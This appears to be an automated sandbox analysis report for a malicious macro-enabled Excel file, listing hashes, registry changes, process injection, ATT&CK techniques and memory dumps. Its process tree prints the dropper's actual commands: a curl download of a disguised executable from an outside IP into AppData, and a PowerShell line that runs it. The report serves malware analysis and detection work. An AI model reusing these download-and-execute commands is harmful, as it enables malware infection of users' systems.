50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe

General

Target

50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe.xlsm
Size

117KB
MD5

f1e1698ef73827e738bf44328e6cc0aa
SHA1

b72cec166a6f2286766e7a2253802f306a6ec0bc
SHA256

50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe
SHA512

ad968311b1d022b15834d07f17092465c8c4165d9c39649a03568093b6ac4e552848b4ea1e344001a647f56e45024143b25e3f3d9d7af18bb573bc45b445dd36

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1640	1072	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1692	1072	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1072 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1640 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1640 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

1072 EXCEL.EXE
1072 EXCEL.EXE
1072 EXCEL.EXE
1072 EXCEL.EXE
1072 EXCEL.EXE
1072 EXCEL.EXE

pid	process
1072	EXCEL.EXE

pid	process
1640	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1640	powershell.exe

pid	process
1072	EXCEL.EXE
1072	EXCEL.EXE
1072	EXCEL.EXE
1072	EXCEL.EXE
1072	EXCEL.EXE
1072	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1072 wrote to memory of 1640	1072	EXCEL.EXE	powershell.exe
PID 1072 wrote to memory of 1640	1072	EXCEL.EXE	powershell.exe
PID 1072 wrote to memory of 1640	1072	EXCEL.EXE	powershell.exe
PID 1072 wrote to memory of 1640	1072	EXCEL.EXE	powershell.exe
PID 1072 wrote to memory of 1692	1072	EXCEL.EXE	cmd.exe
PID 1072 wrote to memory of 1692	1072	EXCEL.EXE	cmd.exe
PID 1072 wrote to memory of 1692	1072	EXCEL.EXE	cmd.exe
PID 1072 wrote to memory of 1692	1072	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\50f3beedad39312761c7078aca103c9126553383925cabcb7ac4b6a2332748fe.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\RgPFG.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\RgPFG.exe
2⤵
- Process spawned unexpected child process
PID:1692

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1072-59-0x000000002FC21000-0x000000002FC24000-memory.dmp

Filesize
12KB

Download
memory/1072-60-0x00000000715A1000-0x00000000715A3000-memory.dmp

Filesize
8KB

Download
memory/1072-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1640-69-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/1640-73-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

Download
memory/1640-64-0x00000000752F1000-0x00000000752F3000-memory.dmp

Filesize
8KB

Download
memory/1640-65-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1640-66-0x0000000004990000-0x0000000004991000-memory.dmp

Filesize
4KB

Download
memory/1640-68-0x0000000004952000-0x0000000004953000-memory.dmp

Filesize
4KB

Download
memory/1640-67-0x0000000004950000-0x0000000004951000-memory.dmp

Filesize
4KB

Download
memory/1640-62-0x0000000000000000-mapping.dmp

Download
memory/1640-70-0x00000000027A0000-0x00000000027A1000-memory.dmp

Filesize
4KB

Download
memory/1640-104-0x0000000006610000-0x0000000006611000-memory.dmp

Filesize
4KB

Download
memory/1640-78-0x00000000061E0000-0x00000000061E1000-memory.dmp

Filesize
4KB

Download
memory/1640-79-0x00000000063C0000-0x00000000063C1000-memory.dmp

Filesize
4KB

Download
memory/1640-86-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1640-87-0x0000000006450000-0x0000000006451000-memory.dmp

Filesize
4KB

Download
memory/1640-88-0x0000000006470000-0x0000000006471000-memory.dmp

Filesize
4KB

Download
memory/1640-89-0x0000000006540000-0x0000000006541000-memory.dmp

Filesize
4KB

Download
memory/1640-103-0x0000000006600000-0x0000000006601000-memory.dmp

Filesize
4KB

Download
memory/1692-63-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads